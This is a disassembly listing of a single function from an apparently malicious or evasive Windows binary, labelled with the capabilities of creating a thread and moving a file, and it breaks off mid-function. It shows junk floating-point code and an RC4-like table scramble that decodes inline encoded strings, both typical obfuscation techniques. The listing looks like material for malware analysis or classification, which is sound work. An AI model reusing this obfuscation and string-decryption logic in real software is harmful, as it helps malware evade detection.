Function at 0x567daf
Capabilities:
Create thread
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xa6549f
mov eax, dword fs:[0]
push eax
sub esp, 0xe40
mov eax, dword [0xaa006c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x669], 0
push 0x208
push 0
lea eax, [ebp - 0x474]
push eax
call fcn.00a3d5c0
add esp, 0xc
and dword [ebp - 0x498], 0
and dword [ebp - 0x49c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x800], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x7c4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x7c4], xmm0
jmp 0x567e43
movsd xmm0, qword [ebp - 0x7c4]
addsd xmm0, qword [0xa68348]
movsd qword [ebp - 0x7c4], xmm0
movsd xmm0, qword [0xa698f8]
comisd xmm0, xmmword [ebp - 0x7c4]
jbe 0x567ef4
movsd xmm0, qword [0xa69898]
mulsd xmm0, qword [ebp - 0x7c4]
mulsd xmm0, qword [ebp - 0x7c4]
movsd xmm1, qword [ebp - 0x7c4]
mulsd xmm1, qword [ebp - 0x7c4]
subsd xmm0, xmm1
movsd xmm1, qword [0xa683e8]
mulsd xmm1, qword [ebp - 0x7c4]
mulsd xmm1, qword [ebp - 0x7c4]
addsd xmm1, qword [0xa69778]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x800]
movsd qword [ebp - 0x800], xmm0
movsd xmm0, qword [ebp - 0x800]
comisd xmm0, xmmword [0xa69840]
jbe 0x567eef
movsd xmm0, qword [0xa69698]
mulsd xmm0, qword [ebp - 0x7c4]
movsd xmm1, qword [ebp - 0x800]
subsd xmm1, xmm0
movsd qword [ebp - 0x800], xmm1
jmp 0x567e2b
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x800]
jbe 0x567f45
mov ebp, 0xbec1c0bc
mov ch, 0xb4
mov ebx, 0xb6bdbbc0
mov eax, 0xbebfbdc3
ret 0xbbbe
mov dword [ebp - 0x498], 0x567f01
mov dword [ebp - 0x49c], 0x567f27
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0x720], eax
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0xa2c], eax
mov byte [ebp - 0x66a], 0x1d
and dword [ebp - 0x530], 0
jmp 0x567f8e
mov eax, dword [ebp - 0x530]
inc eax
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 0x100
jae 0x567faf
mov eax, dword [ebp - 0x530]
mov cl, byte [ebp - 0x530]
mov byte [ebp + eax - 0xe48], cl
jmp 0x567f81
and dword [ebp - 0x790], 0
mov byte [ebp - 0x4c6], 0
mov dword [ebp - 0x530], 0xff
jmp 0x567fd6
mov eax, dword [ebp - 0x530]
dec eax
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 0
jbe 0x56825b
and dword [ebp - 0x888], 0
mov dword [ebp - 0x828], 1
mov eax, dword [ebp - 0x828]
cmp eax, dword [ebp - 0x530]
jae 0x568014
mov eax, dword [ebp - 0x828]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x828], eax
jmp 0x567ff4
mov eax, dword [ebp - 0x790]
mov dword [ebp - 0xa1c], eax
mov eax, dword [ebp - 0xa1c]
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0
je 0x568059
sub dword [ebp - 0x600], 1
je 0x568087
sub dword [ebp - 0x600], 1
je 0x5680b8
sub dword [ebp - 0x600], 1
je 0x5680e6
jmp 0x568114
movzx eax, byte [ebp - 0x4c6]
movzx ebx, byte [ebp + eax - 0xe48]
movsd xmm0, qword [ebp - 0x800]
call fcn.009eca90
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c6], bl
jmp 0x56813b
movzx eax, byte [ebp - 0x4c6]
movzx ebx, byte [ebp + eax - 0xe48]
movsd xmm0, qword [ebp - 0x800]
call fcn.009eca90
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c6], bl
jmp 0x56813b
movzx eax, byte [ebp - 0x4c6]
movzx ebx, byte [ebp + eax - 0xe48]
movsd xmm0, qword [ebp - 0x800]
call fcn.009eca90
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c6], bl
jmp 0x56813b
movzx eax, byte [ebp - 0x4c6]
movzx ebx, byte [ebp + eax - 0xe48]
movsd xmm0, qword [ebp - 0x800]
call fcn.009eca90
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c6], bl
jmp 0x56813b
movzx eax, byte [ebp - 0x4c6]
movzx eax, byte [ebp + eax - 0xe48]
mov ecx, dword [ebp - 0xa2c]
add ecx, dword [ebp - 0x790]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x4c6], al
mov eax, dword [ebp - 0x790]
inc eax
mov dword [ebp - 0x790], eax
movzx eax, byte [ebp - 0x66a]
cmp dword [ebp - 0x790], eax
jb 0x568174
and dword [ebp - 0x790], 0
movzx eax, byte [ebp - 0x66a]
movzx ecx, byte [ebp - 0x4c6]
add ecx, eax
mov byte [ebp - 0x4c6], cl
movzx eax, byte [ebp - 0x4c6]
and eax, dword [ebp - 0x828]
mov dword [ebp - 0x714], eax
mov eax, dword [ebp - 0x888]
inc eax
mov dword [ebp - 0x888], eax
cmp dword [ebp - 0x888], 0xb
jbe 0x5681b1
mov eax, dword [ebp - 0x714]
xor edx, edx
div dword [ebp - 0x530]
mov dword [ebp - 0x714], edx
mov eax, dword [ebp - 0x714]
cmp eax, dword [ebp - 0x530]
ja 0x568014
mov eax, dword [ebp - 0x530]
cmp eax, dword [ebp - 0x714]
je 0x568256
mov eax, dword [ebp - 0x714]
movzx eax, byte [ebp + eax - 0xe48]
mov ecx, dword [ebp - 0x530]
movzx ecx, byte [ebp + ecx - 0xe48]
xor ecx, eax
mov eax, dword [ebp - 0x530]
mov byte [ebp + eax - 0xe48], cl
mov eax, dword [ebp - 0x530]
movzx eax, byte [ebp + eax - 0xe48]
mov ecx, dword [ebp - 0x714]
movzx ecx, byte [ebp + ecx - 0xe48]
xor ecx, eax
mov eax, dword [ebp - 0x714]
mov byte [ebp + eax - 0xe48], cl
mov eax, dword [ebp - 0x714]
movzx eax, byte [ebp + eax - 0xe48]
mov ecx, dword [ebp - 0x530]
movzx ecx, byte [ebp + ecx - 0xe48]
xor ecx, eax
mov eax, dword [ebp - 0x530]
mov byte [ebp + eax - 0xe48], cl
jmp 0x567fc9
xor eax, eax
inc eax
shl eax, 0
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp - 0x4b6], al
xor eax, eax
inc eax
imul eax, eax, 3
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp - 0x4ba], al
xor eax, eax
inc eax
imul eax, eax, 5
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp - 0x4cd], al
xor eax, eax
inc eax
imul eax, eax, 7
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp - 0x4b9], al
movzx eax, byte [ebp - 0x4c6]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp - 0x4be], al
mov dword [ebp - 0x904], 0x26
cmp dword [ebp - 0x904], 2
jle 0x5697a2
mov eax, dword [ebp - 0x904]
and eax, 1
jne 0x5697a2
and dword [ebp - 0x500], 0
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x5ac]
inc eax
mov dword [ebp - 0x5ac], eax
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x500]
shl eax, 1
mov dword [ebp - 0x71c], eax
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x720]
add eax, dword [ebp - 0x71c]
movzx eax, byte [eax]
add eax, dword [ebp - 0x70c]
mov dword [ebp - 0x70c], eax
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x6f4]
add eax, 0xb4
mov dword [ebp - 0x6f4], eax
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x500]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x724], eax
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x720]
add eax, dword [ebp - 0x724]
movzx eax, byte [eax]
add eax, dword [ebp - 0x708]
mov dword [ebp - 0x708], eax
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x6e8]
add eax, 0xb4
mov dword [ebp - 0x6e8], eax
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x70c]
sub eax, dword [ebp - 0x6f4]
add eax, dword [ebp - 0x6ec]
mov dword [ebp - 0x6ec], eax
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0x708]
sub eax, dword [ebp - 0x6e8]
add eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x6f0], eax
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x6ec]
shl eax, 4
mov dword [ebp - 0x728], eax
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x72c], eax
and dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x728]
or eax, dword [ebp - 0x72c]
mov dword [ebp - 0x730], eax
mov byte [ebp - 0x4cc], 0
mov al, byte [ebp - 0x730]
mov byte [ebp - 0x4cc], al
mov byte [ebp - 0x4cb], 0
movss xmm0, dword [0xa69e74]
movss dword [ebp - 0x604], xmm0
movss xmm0, dword [0xa69e24]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [0xa69dc4]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [0xa69d70]
movss dword [ebp - 0x5cc], xmm0
movss xmm0, dword [0xa69d1c]
movss dword [ebp - 0x5a8], xmm0
movss xmm0, dword [0xa69cb0]
movss dword [ebp - 0x4f4], xmm0
movss xmm0, dword [ebp - 0x4f0]
addss xmm0, dword [ebp - 0x4f4]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [ebp - 0x51c]
addss xmm0, dword [ebp - 0x4f4]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x5cc]
addss xmm0, dword [ebp - 0x4f4]
movss dword [ebp - 0x5cc], xmm0
movss xmm0, dword [ebp - 0x5a8]
addss xmm0, dword [ebp - 0x4f4]
movss dword [ebp - 0x5a8], xmm0
movss xmm0, dword [ebp - 0x4f0]
mulss xmm0, dword [ebp - 0x4f4]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [ebp - 0x51c]
addss xmm0, dword [ebp - 0x4f4]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x4f0]
comiss xmm0, dword [ebp - 0x4f4]
jbe 0x5685e4
movss xmm0, dword [ebp - 0x5a8]
subss xmm0, dword [ebp - 0x4f4]
movss dword [ebp - 0x5a8], xmm0
movss xmm0, dword [ebp - 0x4f4]
mulss xmm0, dword [ebp - 0x604]
movss dword [ebp - 0x4f4], xmm0
movss xmm0, dword [ebp - 0x5cc]
mulss xmm0, dword [ebp - 0x5a8]
movss dword [ebp - 0x5cc], xmm0
movss xmm0, dword [ebp - 0x4f0]
subss xmm0, dword [ebp - 0x5cc]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [ebp - 0x4f0]
mulss xmm0, dword [ebp - 0x5cc]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [ebp - 0x4f4]
mulss xmm0, dword [ebp - 0x604]
movss dword [ebp - 0x4f4], xmm0
movzx eax, byte [ebp - 0x4be]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp - 0x4cb], al
jmp 0x56883e
movss xmm0, dword [ebp - 0x4f0]
mulss xmm0, dword [ebp - 0x5cc]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [ebp - 0x51c]
subss xmm0, dword [ebp - 0x4f0]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x604]
addss xmm0, dword [ebp - 0x51c]
movss dword [ebp - 0x604], xmm0
movss xmm0, dword [ebp - 0x4f0]
mulss xmm0, dword [ebp - 0x5cc]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [ebp - 0x5a8]
subss xmm0, dword [ebp - 0x4f4]
movss dword [ebp - 0x5a8], xmm0
movss xmm0, dword [ebp - 0x4f4]
addss xmm0, dword [ebp - 0x604]
movss dword [ebp - 0x4f4], xmm0
movss xmm0, dword [ebp - 0x51c]
divss xmm0, dword [ebp - 0x5cc]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x4f4]
divss xmm0, dword [ebp - 0x51c]
movss dword [ebp - 0x4f4], xmm0
movss xmm0, dword [ebp - 0x4f0]
mulss xmm0, dword [ebp - 0x5a8]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [ebp - 0x4f0]
divss xmm0, dword [ebp - 0x5a8]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [ebp - 0x51c]
addss xmm0, dword [ebp - 0x5cc]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x5a8]
subss xmm0, dword [ebp - 0x604]
movss dword [ebp - 0x5a8], xmm0
movss xmm0, dword [ebp - 0x5cc]
comiss xmm0, dword [ebp - 0x4f4]
jbe 0x5687ae
movss xmm0, dword [ebp - 0x51c]
subss xmm0, dword [ebp - 0x5cc]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x4f0]
addss xmm0, dword [ebp - 0x5a8]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [ebp - 0x4f0]
addss xmm0, dword [ebp - 0x5a8]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [ebp - 0x4f4]
addss xmm0, dword [ebp - 0x51c]
movss dword [ebp - 0x4f4], xmm0
movss xmm0, dword [ebp - 0x604]
addss xmm0, dword [ebp - 0x4f0]
movss dword [ebp - 0x604], xmm0
movss xmm0, dword [ebp - 0x604]
addss xmm0, dword [ebp - 0x4f0]
movss dword [ebp - 0x604], xmm0
jmp 0x56883e
movss xmm0, dword [ebp - 0x604]
addss xmm0, dword [ebp - 0x4f0]
movss dword [ebp - 0x604], xmm0
movss xmm0, dword [ebp - 0x4f4]
mulss xmm0, dword [ebp - 0x51c]
movss dword [ebp - 0x4f4], xmm0
movss xmm0, dword [ebp - 0x4f4]
addss xmm0, dword [ebp - 0x51c]
movss dword [ebp - 0x4f4], xmm0
movss xmm0, dword [ebp - 0x51c]
divss xmm0, dword [ebp - 0x5cc]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x4f0]
addss xmm0, dword [ebp - 0x5a8]
movss dword [ebp - 0x4f0], xmm0
movss xmm0, dword [ebp - 0x4f4]
mulss xmm0, dword [ebp - 0x51c]
movss dword [ebp - 0x4f4], xmm0
movss xmm0, dword [0xa69e34]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [0xa69da0]
movss dword [ebp - 0x510], xmm0
movss xmm0, dword [0xa69d04]
movss dword [ebp - 0x528], xmm0
movss xmm0, dword [ebp - 0x510]
mulss xmm0, dword [ebp - 0x528]
movss dword [ebp - 0x510], xmm0
movss xmm0, dword [ebp - 0x544]
mulss xmm0, dword [ebp - 0x528]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0x510]
subss xmm0, dword [ebp - 0x528]
movss dword [ebp - 0x510], xmm0
movss xmm0, dword [ebp - 0x544]
comiss xmm0, dword [ebp - 0x528]
jbe 0x568940
movss xmm0, dword [ebp - 0x528]
mulss xmm0, dword [ebp - 0x510]
movss dword [ebp - 0x528], xmm0
movss xmm0, dword [ebp - 0x544]
mulss xmm0, dword [ebp - 0x528]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0x510]
mulss xmm0, dword [ebp - 0x544]
movss dword [ebp - 0x510], xmm0
movzx eax, byte [ebp - 0x4b6]
movzx eax, byte [ebp + eax - 0xe48]
movzx ecx, byte [ebp - 0x4ba]
add ecx, eax
mov byte [ebp - 0x4ba], cl
mov al, byte [ebp - 0x4b6]
add al, 1
mov byte [ebp - 0x4b6], al
jmp 0x568a73
movss xmm0, dword [ebp - 0x528]
subss xmm0, dword [ebp - 0x544]
movss dword [ebp - 0x528], xmm0
movss xmm0, dword [ebp - 0x510]
mulss xmm0, dword [ebp - 0x528]
movss dword [ebp - 0x510], xmm0
movss xmm0, dword [ebp - 0x510]
subss xmm0, dword [ebp - 0x528]
movss dword [ebp - 0x510], xmm0
movss xmm0, dword [ebp - 0x544]
addss xmm0, dword [ebp - 0x528]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0x510]
addss xmm0, dword [ebp - 0x544]
movss dword [ebp - 0x510], xmm0
movss xmm0, dword [ebp - 0x544]
addss xmm0, dword [ebp - 0x528]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0x528]
comiss xmm0, dword [ebp - 0x510]
jbe 0x568a2b
movss xmm0, dword [ebp - 0x544]
subss xmm0, dword [ebp - 0x528]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0x510]
addss xmm0, dword [ebp - 0x544]
movss dword [ebp - 0x510], xmm0
movss xmm0, dword [ebp - 0x528]
divss xmm0, dword [ebp - 0x510]
movss dword [ebp - 0x528], xmm0
jmp 0x568a73
movss xmm0, dword [ebp - 0x544]
subss xmm0, dword [ebp - 0x510]
movss dword [ebp - 0x544], xmm0
movss xmm0, dword [ebp - 0x510]
addss xmm0, dword [ebp - 0x528]
movss dword [ebp - 0x510], xmm0
movss xmm0, dword [ebp - 0x510]
divss xmm0, dword [ebp - 0x528]
movss dword [ebp - 0x510], xmm0
movzx eax, byte [ebp - 0x4ba]
movzx ecx, byte [ebp - 0x4be]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b9]
movzx ecx, byte [ebp - 0x4ba]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b6]
movzx ecx, byte [ebp - 0x4b9]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b6]
mov cl, byte [ebp - 0x4cb]
mov byte [ebp + eax - 0xe48], cl
movzx eax, byte [ebp - 0x4cb]
movzx eax, byte [ebp + eax - 0xe48]
movzx ecx, byte [ebp - 0x4cd]
add ecx, eax
mov byte [ebp - 0x4cd], cl
movzx eax, byte [ebp - 0x4cc]
movzx ecx, byte [ebp - 0x4ba]
movzx ecx, byte [ebp + ecx - 0xe48]
movzx edx, byte [ebp - 0x4b6]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xe48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4b9]
movzx ecx, byte [ebp + ecx - 0xe48]
movzx edx, byte [ebp - 0x4be]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
movzx edx, byte [ebp - 0x4cd]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xe48]
movzx ecx, byte [ebp + ecx - 0xe48]
xor eax, ecx
mov byte [ebp - 0x4b9], al
mov al, byte [ebp - 0x4cc]
mov byte [ebp - 0x4be], al
mov al, byte [ebp - 0x4b9]
mov byte [ebp - 0x4dd], al
cmp dword [ebp - 0x500], 0
jle 0x568bb0
mov eax, dword [ebp - 0x500]
mov cl, byte [ebp - 0x4dd]
mov byte [ebp + eax - 0x4d], cl
mov eax, dword [ebp - 0x5ac]
add eax, 8
mov dword [ebp - 0x5ac], eax
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x880], eax
jmp 0x568bdb
mov eax, dword [ebp - 0x880]
inc eax
mov dword [ebp - 0x880], eax
mov eax, dword [ebp - 0x880]
cmp eax, dword [ebp - 0x5ac]
jge 0x56905f
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
mov eax, dword [ebp - 0x500]
shl eax, 1
mov dword [ebp - 0x71c], eax
mov eax, dword [ebp - 0x720]
add eax, dword [ebp - 0x71c]
movzx eax, byte [eax]
mov dword [ebp - 0x70c], eax
mov dword [ebp - 0x6f4], 0xb4
mov eax, dword [ebp - 0x500]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x724], eax
mov eax, dword [ebp - 0x720]
add eax, dword [ebp - 0x724]
movzx eax, byte [eax]
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x6e8], 0xb4
mov eax, dword [ebp - 0x70c]
sub eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x6ec], eax
mov eax, dword [ebp - 0x708]
sub eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x6f0], eax
mov eax, dword [ebp - 0x6ec]
shl eax, 4
mov dword [ebp - 0x728], eax
mov eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x72c], eax
mov eax, dword [ebp - 0x728]
or eax, dword [ebp - 0x72c]
mov dword [ebp - 0x730], eax
mov al, byte [ebp - 0x730]
mov byte [ebp - 0x4cc], al
movzx eax, byte [ebp - 0x4be]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp - 0x4cb], al
movzx eax, byte [ebp - 0x4b6]
movzx eax, byte [ebp + eax - 0xe48]
movzx ecx, byte [ebp - 0x4ba]
add ecx, eax
mov byte [ebp - 0x4ba], cl
mov al, byte [ebp - 0x4b6]
add al, 1
mov byte [ebp - 0x4b6], al
movzx eax, byte [ebp - 0x4ba]
movzx ecx, byte [ebp - 0x4be]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b9]
movzx ecx, byte [ebp - 0x4ba]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b6]
movzx ecx, byte [ebp - 0x4b9]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b6]
mov cl, byte [ebp - 0x4cb]
mov byte [ebp + eax - 0xe48], cl
movzx eax, byte [ebp - 0x4cb]
movzx eax, byte [ebp + eax - 0xe48]
movzx ecx, byte [ebp - 0x4cd]
add ecx, eax
mov byte [ebp - 0x4cd], cl
movss xmm0, dword [0xa69eec]
movss dword [ebp - 0x8b4], xmm0
movss xmm0, dword [0xa69ebc]
movss dword [ebp - 0x798], xmm0
movss xmm0, dword [0xa69e64]
movss dword [ebp - 0x548], xmm0
movss xmm0, dword [0xa69de8]
movss dword [ebp - 0x6ac], xmm0
movss xmm0, dword [0xa69d64]
movss dword [ebp - 0x608], xmm0
movss xmm0, dword [0xa69ce4]
movss dword [ebp - 0x718], xmm0
movss xmm0, dword [ebp - 0x798]
addss xmm0, dword [ebp - 0x718]
movss dword [ebp - 0x798], xmm0
movss xmm0, dword [ebp - 0x6ac]
addss xmm0, dword [ebp - 0x718]
movss dword [ebp - 0x6ac], xmm0
movss xmm0, dword [ebp - 0x608]
subss xmm0, dword [ebp - 0x718]
movss dword [ebp - 0x608], xmm0
movss xmm0, dword [ebp - 0x548]
subss xmm0, dword [ebp - 0x718]
movss dword [ebp - 0x548], xmm0
movss xmm0, dword [ebp - 0x548]
subss xmm0, dword [ebp - 0x718]
movss dword [ebp - 0x548], xmm0
movss xmm0, dword [ebp - 0x608]
mulss xmm0, dword [ebp - 0x718]
movss dword [ebp - 0x608], xmm0
movss xmm0, dword [ebp - 0x608]
comiss xmm0, dword [ebp - 0x718]
jbe 0x568f99
movss xmm0, dword [ebp - 0x548]
mulss xmm0, dword [ebp - 0x6ac]
movss dword [ebp - 0x548], xmm0
movss xmm0, dword [ebp - 0x548]
subss xmm0, dword [ebp - 0x6ac]
movss dword [ebp - 0x548], xmm0
movss xmm0, dword [ebp - 0x798]
mulss xmm0, dword [ebp - 0x548]
movss dword [ebp - 0x798], xmm0
movss xmm0, dword [ebp - 0x798]
addss xmm0, dword [ebp - 0x548]
movss dword [ebp - 0x798], xmm0
movss xmm0, dword [ebp - 0x6ac]
subss xmm0, dword [ebp - 0x608]
movss dword [ebp - 0x6ac], xmm0
movss xmm0, dword [ebp - 0x6ac]
subss xmm0, dword [ebp - 0x608]
movss dword [ebp - 0x6ac], xmm0
movzx eax, byte [ebp - 0x4cc]
movzx ecx, byte [ebp - 0x4ba]
movzx ecx, byte [ebp + ecx - 0xe48]
movzx edx, byte [ebp - 0x4b6]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xe48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4b9]
movzx ecx, byte [ebp + ecx - 0xe48]
movzx edx, byte [ebp - 0x4be]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
movzx edx, byte [ebp - 0x4cd]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xe48]
movzx ecx, byte [ebp + ecx - 0xe48]
xor eax, ecx
mov byte [ebp - 0x4b9], al
jmp 0x569029
movss xmm0, dword [ebp - 0x548]
addss xmm0, dword [ebp - 0x608]
movss dword [ebp - 0x548], xmm0
movss xmm0, dword [ebp - 0x548]
addss xmm0, dword [ebp - 0x608]
movss dword [ebp - 0x548], xmm0
movss xmm0, dword [ebp - 0x548]
mulss xmm0, dword [ebp - 0x608]
movss dword [ebp - 0x548], xmm0
movss xmm0, dword [ebp - 0x608]
addss xmm0, dword [ebp - 0x8b4]
movss dword [ebp - 0x608], xmm0
movss xmm0, dword [ebp - 0x6ac]
mulss xmm0, dword [ebp - 0x718]
movss dword [ebp - 0x6ac], xmm0
movss xmm0, dword [ebp - 0x8b4]
subss xmm0, dword [ebp - 0x548]
movss dword [ebp - 0x8b4], xmm0
mov al, byte [ebp - 0x4cc]
mov byte [ebp - 0x4be], al
mov al, byte [ebp - 0x4b9]
mov byte [ebp - 0x4dd], al
cmp dword [ebp - 0x500], 0
jle 0x56905a
mov eax, dword [ebp - 0x500]
mov cl, byte [ebp - 0x4dd]
mov byte [ebp + eax - 0x4d], cl
jmp 0x568bce
mov eax, dword [ebp - 0x5ac]
inc eax
mov dword [ebp - 0x5ac], eax
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
mov eax, dword [ebp - 0x5ac]
inc eax
mov dword [ebp - 0x5ac], eax
mov eax, dword [ebp - 0x500]
shl eax, 1
mov dword [ebp - 0x71c], eax
mov eax, dword [ebp - 0x720]
add eax, dword [ebp - 0x71c]
movzx eax, byte [eax]
mov dword [ebp - 0x70c], eax
mov dword [ebp - 0x6f4], 0xb4
mov eax, dword [ebp - 0x500]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x724], eax
mov eax, dword [ebp - 0x720]
add eax, dword [ebp - 0x724]
movzx eax, byte [eax]
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x6e8], 0xb4
mov eax, dword [ebp - 0x70c]
sub eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x6ec], eax
movsd xmm0, qword [0xa69b60]
movsd qword [ebp - 0x8c4], xmm0
movsd xmm0, qword [0xa69af8]
movsd qword [ebp - 0x78c], xmm0
movsd xmm0, qword [0xa69a80]
movsd qword [ebp - 0x868], xmm0
movsd xmm0, qword [0xa69a20]
movsd qword [ebp - 0x808], xmm0
movsd xmm0, qword [0xa69980]
movsd qword [ebp - 0x830], xmm0
movsd xmm0, qword [0xa698c8]
movsd qword [ebp - 0x7bc], xmm0
movsd xmm0, qword [ebp - 0x830]
mulsd xmm0, qword [ebp - 0x7bc]
movsd qword [ebp - 0x830], xmm0
movsd xmm0, qword [ebp - 0x868]
mulsd xmm0, qword [ebp - 0x7bc]
movsd qword [ebp - 0x868], xmm0
movsd xmm0, qword [ebp - 0x808]
mulsd xmm0, qword [ebp - 0x7bc]
movsd qword [ebp - 0x808], xmm0
movsd xmm0, qword [ebp - 0x830]
mulsd xmm0, qword [ebp - 0x7bc]
movsd qword [ebp - 0x830], xmm0
movsd xmm0, qword [ebp - 0x78c]
mulsd xmm0, qword [ebp - 0x7bc]
movsd qword [ebp - 0x78c], xmm0
movsd xmm0, qword [ebp - 0x868]
mulsd xmm0, qword [ebp - 0x7bc]
movsd qword [ebp - 0x868], xmm0
movsd xmm0, qword [ebp - 0x868]
comisd xmm0, xmmword [ebp - 0x7bc]
jbe 0x5692a1
movsd xmm0, qword [ebp - 0x78c]
subsd xmm0, qword [ebp - 0x808]
movsd qword [ebp - 0x78c], xmm0
movsd xmm0, qword [ebp - 0x830]
addsd xmm0, qword [ebp - 0x8c4]
movsd qword [ebp - 0x830], xmm0
movsd xmm0, qword [ebp - 0x808]
mulsd xmm0, qword [ebp - 0x7bc]
movsd qword [ebp - 0x808], xmm0
movsd xmm0, qword [ebp - 0x78c]
addsd xmm0, qword [ebp - 0x808]
movsd qword [ebp - 0x78c], xmm0
movsd xmm0, qword [ebp - 0x78c]
addsd xmm0, qword [ebp - 0x808]
movsd qword [ebp - 0x78c], xmm0
movsd xmm0, qword [ebp - 0x7bc]
subsd xmm0, qword [ebp - 0x78c]
movsd qword [ebp - 0x7bc], xmm0
mov eax, dword [ebp - 0x708]
sub eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x6f0], eax
jmp 0x569331
movsd xmm0, qword [ebp - 0x8c4]
mulsd xmm0, qword [ebp - 0x78c]
movsd qword [ebp - 0x8c4], xmm0
movsd xmm0, qword [ebp - 0x868]
divsd xmm0, qword [ebp - 0x808]
movsd qword [ebp - 0x868], xmm0
movsd xmm0, qword [ebp - 0x78c]
mulsd xmm0, qword [ebp - 0x868]
movsd qword [ebp - 0x78c], xmm0
movsd xmm0, qword [ebp - 0x8c4]
